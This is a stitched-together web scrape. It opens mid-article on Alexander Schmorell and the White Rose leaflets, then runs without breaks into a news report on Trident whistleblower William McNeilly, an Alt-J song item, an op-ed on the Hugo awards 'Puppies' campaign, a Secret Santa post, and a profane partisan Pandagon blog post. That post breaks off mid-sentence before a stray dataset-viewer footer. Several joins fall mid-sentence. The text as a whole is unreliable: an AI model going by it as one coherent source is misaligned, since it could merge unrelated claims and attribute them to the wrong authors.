A passage written by Schmorell in the second leaflet, issued in June 1942, contains the only known public protest by any German resistance group specifically against the Holocaust. “We wish to cite the fact that, since the conquest of Poland, 300,000 Jews have been murdered in that country in a bestial manner. Here we see the most terrible crime committed against the dignity of man, a crime that has no counterpart in human history…. No crime of this dimension has ever been perpetrated against human beings.” The text blames the German people, in their apathy, for allowing such crimes to be committed by “these criminal fascists.” The leaflet declares, however, that “it is not too late to do away with this most reprehensible of all miscarriages of government, to avoid being burdened with even greater guilt…. We know exactly who our adversary is.” The text adds, “Please make as many copies of this leaflet as possible and pass them on.”
The third leaflet recognized that many people “do not see clearly how they can practice an effective opposition. They do not see any avenues open to them. We want to try to show them that everyone is in a position to contribute to the overthrow of this system. It is not possible through solitary withdrawal, in the manner of embittered hermits, to prepare the ground for the overturn of this ‘government’ or bring about the revolution at the earliest possible moment. No, it can be done only by the cooperation of many convinced, energetic people – people who are agreed as to the means they must use to attain their goal. We have no great number of choices as to these means. The only one available is passive resistance. The meaning and the goal of passive resistance is to topple National Socialism…”
The fourth leaflet had a theological dimension: “Every word that comes from Hitler’s mouth is a lie. When he says peace, he means war, and when he blasphemously uses the name of the Almighty, he means the power of evil, the fallen angel, Satan. His mouth is the foul-smelling maw of Hell, and his might is at bottom accursed. True, we must conduct a struggle against the National Socialist terrorist state with rational means, but whoever today still doubts the reality, the existence of demonic powers, has failed by a wide margin to understand the metaphysical background of this war. Behind the concrete, the visible events, behind all objective, logical considerations, we find the irrational element: the struggle against the demon, against the servants of the Antichrist.
“Everywhere and at all times demons have been lurking in the dark, waiting for the moment when man is weak, when of his own volition he leaves his place in the order of Creation as founded for him by God in freedom, when he yields to the force of evil, separates himself from the powers of a higher order, and after voluntarily taking the first step, he is driven on to the next and the next at a furiously accelerating rate.
“Everywhere and at all times of greatest trial men have appeared, prophets and saints who cherished their freedom, who preached the One God and who with His help brought the people to a reversal of their downward course. Man is free, to be sure, but without the true God he is defenseless against the principle of evil. He is a like rudderless ship, at the mercy of the storm, an infant without his mother, a cloud dissolving into thin air.”
In the summer of 1942, Hans Scholl, Schmorell and another soon-to-be White Rose member, Willi Graf, were sent as medics to the Russian “Eastern Front.” For Schmorell it was a homecoming of sorts, the first time since early childhood that he could experience Russia for himself rather than through such writers as Dostoevsky. He told his friends that there was no way that he could shoot at any Russian, adding he would not kill Germans either. As a fluent speaker of Russian, he opened the door for his friends to make informal contact with ordinary Russian people as well as doctors and Orthodox priests. He, Scholl and Graf attended Orthodox liturgies together.
When they returned to Munich in October, the activities of the White Rose were redoubled. Several new people were involved – Christoph Probst, Sophie Scholl (Hans’s sister), Professor Kurt Huber and Willi Graf – as well as others in a supportive outer circle. Through Alexander’s friend, Lilo Ramdohr, contact was established with Falk Harnack, younger brother of Arvid Harnack, active in a resistance group in Berlin.
In January 1943, the fifth leaflet was ready. Asking if Germany was forever to be “a nation which is hated and rejected by all mankind,” the text called on its readers to dissociate themselves “from National Socialist gangsterism” and to “prove by your deeds that you think otherwise…. Cast off the cloak of indifference you have wrapped around you. Make the decision before it is too late…. Separate yourselves in time from everything connected with National Socialism. In the aftermath a terrible but just judgment will be meted out to those who stayed in hiding, who were cowardly and hesitant.” Thousands of copies were distributed all over “greater” Germany – that is, in Austria as well. Schmorell’s travels brought him to Linz, Vienna, and Salzburg.
Two weeks after the fall of Stalingrad on February 2, 1943, a sixth leaflet was produced. In it Hitler was described as “the most contemptible tyrant our people has ever endured…. For ten long years Hitler and his collaborators have manhandled, squeezed, twisted, and debased these two splendid German words – freedom and honor – to the point of nausea, as only dilettantes can, casting the highest values of a nation before swine. They have sufficiently demonstrated in the ten years of destruction of all material and intellectual freedom, of all moral substance among the German people, what they understand by freedom and honor.”
On February 18, Hans and Sophie Scholl were caught distributing the leaflet at the University in Munich. Two days later Christoph Probst was arrested. On February 22, the three were tried and executed by guillotine hours later.
A Gestapo manhunt was now underway for Schmorell. Assisted by friends, he tried to escape to Switzerland using a forged passport, but he was inadequately clothed for a winter crossing of a mountain route – he had no alternative but to return to Munich. On February 24, with the city under heavy bombardment, he was arrested after being recognized in an air-raid shelter. On April 19 he was tried and sentenced to death and executed by guillotine on July 13, 1943.
At his trial, Schmorell told the court of his work as a medic trying to save lives on the Russian front, his refusal to shoot “the enemy,” and also his earlier refusal to take the oath of loyalty to Hitler. The judge, the notorious ultra-Nazi Roland Freisler, responded by screaming, “Traitor!”
Schmorell’s body was buried behind Stadelheim Prison in the cemetery at Perlacher Forst. After the war, American forces built a base adjacent to the cemetery. Following closure of the base in the mid-1990s, the buildings, including a church, were turned over to the German government. Providentially the Russian Orthodox community was searching for a church building and was able to purchase it. As a result, Schmorell’s parish is across the street from where his earthly remains are buried, while in the church there is an icon of Schmorell.
Archbishop Mark of Berlin, head the German diocese of the Russian Orthodox Church Outside Russia, says that in the near future Schmorell will be formally recognized as a martyr saint. In 2007, he led a pilgrimage group to Orenburg, Russia, to celebrate the 90th anniversary of Schmorell’s birth, an event arranged by Igor Chramow of the Eurasia Foundation in Orenburg. During this trip, the pilgrim group met 87-year-old Nikolai Daniilovich Hamazaspian, who, while living in Munich, had been a friend of Schmorell. He had given Schmorell his Bulgarian passport for possible flight from the country. Hamazaspian recalled that Schmorell had often spoken with him about spiritual matters, since they were both Orthodox Christians.
Katja Yurschak, a participant in the Orenburg pilgrimage in 2007, described to me in a letter how impressed she was by the comments Hamasaspian made over dinner one evening: “He said that his friend, Alexander Schmorell, loved his life and did not go around with the idea that he would become a martyr. It’s easy to forget that Alexander Schmorell, in many ways, was not so much different than most other 26-year-old young men at that time. I have always felt it easier to relate to Alexander Schmorell and the story of the White Rose because besides the story being amazing, it’s true, and in some ways, it’s easier to relate to people who are of a similar age, and who live in a similar type of world. In the bonus material for the ‘Sophie Scholl: The Final Days’ DVD, there’s an interview with Elisabeth Scholl Hartnagel, sister to Hans and Sophie. The part that especially hit me was when she said that she doesn’t like it when people call her brother and sister heroes because they tend to use it as an excuse – well, they could do what they did because they were heroes, but you can’t expect me to do anything of the same because I’m not a hero. It misses the point that it is more or less ‘ordinary’ people who work and struggle day by day to accomplish something bigger than themselves…. that the ‘cloud of witnesses’ is always around us, and that we can aspire to that in our lives. Alexander Schmorell was a young man with many talents. He had good friends and loved sculpture and music and literature. Apparently, he also was someone that young women became smitten with. All these things would point to a very bright future, but because of his faith, these alluring things did not hold him fast to this earth. Doing what was right was that much more important.”
In the letters Schmorell sent to his family from prison, he wrote about the deepening of his faith, assuring his family that, although he had been condemned to die, he was at peace, knowing he had served the truth. “This difficult ‘misfortune’ was necessary,” he wrote, “to put me on the right road, and therefore was no misfortune at all…. What did I know until now about belief, about a true and deep belief, about the truth, the last and only truth, about God?” In the last letter, written the day of his death, he told his family, “Never forget God!!” Just before he was taken to the guillotine, he told his lawyer, “I’m convinced that my life has to end now, early as it seems, because I have fulfilled my life’s mission. I wouldn’t know what else I have to do on this earth.” ❖
* * *
Jim Forest is secretary of the Orthodox Peace Fellowship. His books include All is Grace: a biography of Dorothy Day (due out in March), Living With Wisdom: A Biography of Thomas Merton, The Road to Emmaus: Pilgrimage as a Way of Life, Ladder of the Beatitudes, Praying with Icons and Confession: Doorway to Forgiveness. A White Rose web link to visit: http://www.katjasdacha.com/whiterose/.
The icon of Blessed Alexander Schmorell is the work of Deacon Paul Drozdowski and is located in St. Elizabeth the New Martyr Orthodox Church in Rocky Hill, New Jersey. Mounted prints can be ordered from Come and See Icons at http://www.comeandseeicons.com/a/drz33.htm.
Published in the Winter 2011 issue of In Communion, the quarterly journal of the Orthodox Peace Fellowship.
Foto: Archpriest Nikolai Artemoff of the Russian cathedral in Munich, panikheda at Alexander Schmorell's grave in 2005A ROYAL Navy submariner who raised concerns over Trident nuclear submarine safety and security procedures was detained by military police on his return to the UK on Monday and was tonight being held at a forces base.
William McNeilly, 25, went on the run after alleging the Trident missile programme, based on the Clyde, was a “disaster waiting to happen”.
Our nuclear weapons are a target that’s wide open to attack. It is just a matter of time before we’re infiltrated by a psychopath or terrorist. William McNeilly
Able Seaman McNeilly, from Belfast, wrote an online report detailing “serious security and safety breaches”. The MoD said Mr McNeilly was “apprehended” by Royal Navy police at Edinburgh Airport on Monday night and was being held at a military establishment in Scotland.
On Monday, a post on a Facebook profile apparently belonging to Mr McNeilly said: “I will be handing myself into the police today.”
READ MORE: Wikileaks report on Trident safety
Mr McNeilly’s brother, Aaron, told friends on Facebook this morning that he was feeling “happy” and said “my brother is safe and well”. He later added that his brother was in Scotland and said he had handed himself in.
An official investigation was launched after Mr McNeilly raised his safety concerns in an internet post. The navy said the fleet operated “under the most stringent safety regime”.
Mr McNeilly said he was an engineering technician submariner who was on patrol with HMS Victorious this year.
Victorious is one of the four submarines based at Faslane armed with the Trident missile system, Britain’s nuclear deterrent. Mr McNeilly’s 18-page report – The Secret Nuclear Threat – detailed what he claims are serious security and safety breaches aboard the vessel.
Incidents included in his report varied from complaints about food hygiene to failures in testing whether missiles could be safely launched or not.
He described security passes and bags going unchecked at the Faslane base, alarms being muted “to avoid listening” to them, and stories of fires starting in missile compartments.
Mr McNeilly said he raised these and other concerns through the chain of command on multiple occasions, but that “not once did someone even attempt to make a change”.
He insisted that he had been careful about the information he chose to release to avoid prejudicing security.
Speaking to the BBC, Mr McNeilly said he was “not hiding from arrest”. He said prison would be “such a nice reward for sacrificing everything to warn the public”.
He added: “Unfortunately that’s the world we live in. I know it’s a hard road to walk down, but other people need to start coming forward.
“Now I have no career, no money, no freedom, no chance of spending quality time with my family and friends. But I also have no regrets. There is no better feeling than truly serving the people.”
On Monday, a post on a Facebook profile apparently belonging to Mr McNeilly said he had “moved between countries, changed location almost every day”, but now “lacks the resources to remain undetected”.
A navy spokesman said: “The Royal Navy takes security and nuclear safety extremely seriously and we are fully investigating both the issue of the unauthorised release of this document and its contents. Submarines do not go to sea unless they are completely safe.”
The spokesman also said the navy “completely disagreed” with Mr McNeilly’s report, claiming that it “contains a number of unsubstantiated personal views, made by a very junior sailor”.
READ MORE: Trident ‘disaster waiting to happen’ claims probedIf you thought “Left Hand Free”, the latest taste of Alt-J’s forthcoming This Is All Yours, sounded remarkably unlike the band, you win today’s No Prize. In an interview with The Guardian (via Faster Louder), the Mercury Prize-winning outfit called the track “the least Alt-J song ever.” Apparently, they spat out the song in 20 minutes flat only after their American label (Atlantic) said “Hunger of the Pine” wasn’t a “big single.”
Things started with a “joke riff” guitarist/vocalist Joe Newman would noodle with in practice. From there, Thom Green “tried to make the drums as clichéd as possible,” stating that “there’s none of my personality in it.” Keyboardist Gus Unger-Hamilton remarked, “I’m doing some kind of organ solo. I don’t know where ‘baby’ came from.”
Newman also admits the lyrics are rather rubbish (“I say, ‘Gee whizz,’ which I’m not sure is a phrase I’ve ever uttered before”), but he does see the song connecting with a certain demographic. “I can imagine it appealing to American truckers with ‘Good Riddance To Bin Laden’ stickers!”
Take a listen to “Left Hand Free” below.Rightwing infiltrators unhappy at the liberal direction of modern science fiction have gamed the polling for the Hugo awards with a hateful online campaign. If they win, sci-fi loses
The clock is ticking for the public vote in this year’s Hugo awards, which celebrate excellence in science fiction. Sixteen categories are up for grabs, from best novel to short fiction, fan writing, art and dramatic presentation, and the deadline is 31 July. But this year the prizes are not just about celebrating science-fiction – it’s political war.
There’s usually a kerfuffle of one kind or another – popular authors habitually campaign for fans to vote them on to the list, but 2015 has proved the biggest drama the award has ever seen. That’s because two linked online campaign groups, known as the “Sad Puppies” and their more politically extreme running mates, the “Rabid Puppies”, have been campaigning hard to register supporters and bump their preferred titles on to the shortlists. They have managed it, too: this year’s Hugos are packed with Puppies titles.
There’s no avoiding the politically partisan nature of this campaign. Its leading lights range from respectable rightwingers such as US authors Larry Correia and Brad Torgerson, through to those with more outlandish views such as John C Wright and Vox Day (also known as Theodore Beale). It’s the Tea Party of contemporary US sci-fi.
The Puppies are complaining that recent Hugo winners have been too highbrow, and argue that winners such as Anne Leckie’s smart gender-deconstruction of space opera Ancillary Justice, or John Scalzi’s witty Star-Trek-inspired metafiction Redshirts are too experimental and literary.
More importantly, as Sarah Lotz says, they’re also suggesting SF has been hijacked by a conspiracy of “social justice warriors” or “SJWs”, intent on filling the genre with progressive ideological propaganda.
The Puppies’ real beef is that SF, and society as a whole, has become too feminist, too multiracial, too hospitable to gay and trans voices. Anti-SJW rhetoric, most of it proceeding from angry straight white men, has flooded online discussions. It’s been ugly. It’s also proving self-defeating. George RR Martin’s intervention, urging people to register and vote in order to defeat the plans of people he call “assholes”, has galvanised the counter-vote.
We won’t find out the winners until this year’s Worldcon on 17 August, but it looks as though enough people will vote for “none of the above” over the Puppies titles, and syphon support in the direction of the non-Puppies nominees.
What the Puppies have done is within the rules of the awards, and key figures in the movement have already declared their intention to repeat the process next year. But this is larger than one set of awards. It is about the direction of science-fiction as a whole, and it poses larger cultural questions.
The truth is that this year’s Hugo awards are wrecked. Can you imagine anyone saying that of the Pulitzer, Man Booker, or Nobel? Yet here we are, and if the Puppies succeed in gaming the awards again in 2016 we may as well give up on the Hugos forever.
This is what is so frustrating about the Puppies’ campaign. Not that it has resulted in a bunch of frankly inferior works being shortlisted – although it has. And not that it values old-fashioned SF over more experimental, literary and progressive writing – that’s a matter of taste. What is so annoying is that it so ostentatiously turns its back on the global context out of which the best writing is happening today.
As Damien Walter argues, science fiction is currently in a golden age, “fuelled in large part by the genre’s growing diversity – to be a truly global art, it must be made by a globally diverse roster of creators”. Opening the genre to writers from outside the US and UK, making welcome a greater diversity of voices, has broadened and strengthened science fiction. Conversely, narrowing that pool of talent would only weaken it.
Compare the Man Booker prize, the longlist of which has just been announced. For its first decade, the Booker (as it then was) threw up some pretty insular, white, middle-class dominated shortlists. Then, following the win for Salman Rushdie’s Midnight’s Children in 1981, the prize opened up: through the 1980s and 1990s and into the present century it regularly rewarded post-colonial writing and other international experiences, and the slates of shortlisted titles were richer and more enduring as a result. The prize woke up to the reality of global literature. The Hugos are decades behind in that regard, and the Puppies want to drag it back further.
Science fiction, if it is about anything, is about hospitality to otherness, to the alien and the unusual, about freeing one’s mind and boldly going where no one has been before. It is, centrally, about diversity. Locking out women writers, writers of colour, gay and trans writers does a violence to the heart of the genre. If the Puppies win, nobody wins.I have an animated (ie not real. No butterflies were harmed in the making of this.) anyways he's a Blue Morpho butterfly in a glass jar!! He flies and flaps and makes my cats jump and is So. Damn. Cool!
Oh my gosh I love him. Thank you Santa!!
Update: My Santa had been on the ball. He's posted all tracking info so I could tell this had arrived Dec 20. I was able to get it today.
Soooo I opened this tube. Inside was a roll of brown paper. I unwrapped that and there's a brown and green and gold poster. It took me a bit...then OMG IT'S A HOBBIT THINGY!! It's real art!!
So I put it on my wall with pushpins. I have real art on my wall, I gloated. Then I looked it up online.
This is a limited-edition of 50 poster from Gallery 1988. People buy these posters and sell them on ebay for lots of money.
"OMG! This thing is valuable and I've poked holes in it and I've ruined it's value!!" I was very mad at me.
Googling told me that posters are still valuable if it's just little pushpin holes near the edge.
Still. I'm getting this framed ASAP.
Thank you Santa!!
Also Santa gifted my cat. The brown paper has been adopted by orange cat, for he likes all things that go crunch when lept upon.Pandagon is daily opinion blog covering feminism, politics, and pop culture. Come for the politics, stay for the complete lack of patience for the B.S. and bad faith coming from conservative leaders and pundits.
Hiding that wedding ring in between bouts of restricting birth control access is a straight man’s god-given right.
Via Roy, who reads National Review Online so the rest of us don’t have to, has an amusing post up about their reaction to Mark Sanford winning in South Carolina. Times like these tend to reveal the deep insecurity at the heart of modern conservatism. Stronger assholes would blow right past liberal accusations of hypocrisy aimed at those who want to pass laws controlling the sexual behavior of the rest of us while rewarding an obnoxious adulterer with a congressional seat. But no, they have to come up with a bunch of rationalizations that are rather boring in their transparency.
Or, that’s Jonah Goldberg’s role, anyway. What I thought was interesting about Roy’s post is that he found in the mix a true believer, some poor woman who actually seems to think that “family values” is a meaningful phrase and not just a dog whistle for endorsing straight male dominance. Hilary Towers writes:
Once upon a time in this country
Right off the bat you know that she’s not actually referring to the real past, but telling a fairy tale about an imagined past that never was.
Once upon a time in this country, moral integrity, emotional (and even spiritual) maturity, and a servant’s heart were considered important characteristics of public leaders. In Mark Sanford we find a case study in how far removed we’re becoming from that standard. When did abandoning one’s spouse and children for an extramarital affair become compatible with conservativism? Apologies are meaningless when they are followed by more of the same. Sanford describes himself as “one imperfect man saved by God’s grace.” But the problem with this win (and here is who South Carolina voters could have elected if they had put values first) isn’t that Sanford isn’t perfect. Marriage is hard, and every spouse has virtues and vices — defects of character with which they will struggle throughout their married lives. But marriages don’t “fall apart” as a result of falling in love with another person; they are all too often destroyed from within by a self-love that transcends marital bonds and spills over into every aspect of one’s existence. It is time for conservatives to publicly recognize the widespread phenomenon of spousal abandonment, and the system of “family law” that supports it, for what they both are — a national scandal.
She seems to actually believe this “family values” and “traditional marriage” horseshit conservatives pump out!
No, seriously, she is really concerned about this crap.
Look, I’ll give it to you straight: Republicans are absolutely, 100% hypocrites if you take their blather about marriage and family at face value. But you’re not supposed to take it at face value. We all understand, or most of us not named “Hilary Towers” do, that “marriage” and “family” are all code words the right uses to mean good, old-fashioned gay-bashing, lady-controlling, child-abusing patriarchy. Straight white men get a behavior exemption from their moralism and god-bothering, as long as they make sure to repeat the pious bullshit that is used strictly to justify stripping women of reproductive rights, stifling gay rights, and treating children like property instead of full human beings in their own right. Taking a mistress is not in violation of their actual, pro-patriarchy values. In fact, nothing says you’re a powerful man who runs things like being able to fuck whoever you want, regardless of who it hurts, while making other people’s lives miserable for their own private sexual choices. Even those that are made by us boring people who aren’t causing personal pain and suffering with our choices.
That’s why it’s hilarious to see Republicans try to pull out the various Democratic adulterers to make it “even” somehow. By and large, the Democrats aren’t trying to legally punish everyone else for fucking while reserving the right of hanky-panky for themselves. (There are always exceptions, sadly, but the overall theme of the Democratic party’s policies on sexual rights is, “You kids have fun.”) Liberals toss the word “hypocrite |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.